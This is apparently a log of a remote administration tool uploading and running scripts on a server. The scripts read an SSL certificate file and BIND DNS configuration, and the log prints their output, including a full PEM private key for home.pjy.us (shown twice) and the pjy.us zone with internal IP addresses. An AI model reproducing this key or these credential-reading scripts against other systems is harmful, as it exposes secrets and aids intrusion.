BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-29 19:32:19:
chmod 755 /tmp/pkp193424; /tmp/pkp193424; rm /tmp/pkp193424
2025-08-29 19:32:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5333
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4
-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-29 19:32:19:
PUT: /tmp/pkp123353
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-29 19:32:20:
chmod 755 /tmp/pkp123353; /tmp/pkp123353; rm /tmp/pkp123353
2025-08-29 19:32:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5333
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4
-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-29 23:21:44: Establishing a remote connection
2025-08-29 23:22:25: Establishing a connection
2025-08-29 23:22:25:
PUT: /tmp/pkp249186
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 23:22:25:
runuser -l bind -s /bin/bash -c '/tmp/pkp249186; rm /tmp/pkp249186'
2025-08-29 23:22:26:
2025-08-29 23:22:26:
PUT: /tmp/pkp161600
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-29 23:22:26:
chmod 755 /tmp/pkp161600; /tmp/pkp161600; rm /tmp/pkp161600
2025-08-29 23:22:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt 2089
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
pjy.us. IN SOA pjy.us. hostmaster.pjy.us. ( 131299183 14400 3600 14400 3600 )
pjy.us. IN NS ns1.hostz.org.
pjy.us. IN NS ns2.hostz.org.
pjy.us. 60 IN A 94.177.8.99
@ IN MX 10 mail.emessage.email.
@ IN TXT "google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge 60 IN TXT "Oy-hvG1Fk8rOdIOyn_9wg8pOBIQsA-_YvJ1Y6RCIpLQ"
_acme-challenge 60 IN TXT "fwYKhqdmG7ikjrhH9kqQwlvFyq-i6BopEQs9cb0aT5A"
mail._domainkey 300 IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
city 300 IN A 10.140.12.86
_acme-challenge.city 60 IN TXT "UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop IN A 192.168.1.174
_acme-challenge.desktop 60 IN TXT "l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm IN A 46.102.156.201
eggshell IN A 94.177.8.99
y4it37yvzcuq.eggshell 60 IN CNAME gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files IN A 74.208.130.81
home IN CNAME home.stoughton.link.
_acme-challenge.home 60 IN TXT "1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql IN CNAME home.stoughton.link.
pkp IN A 94.177.8.99
www.pjy.us. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
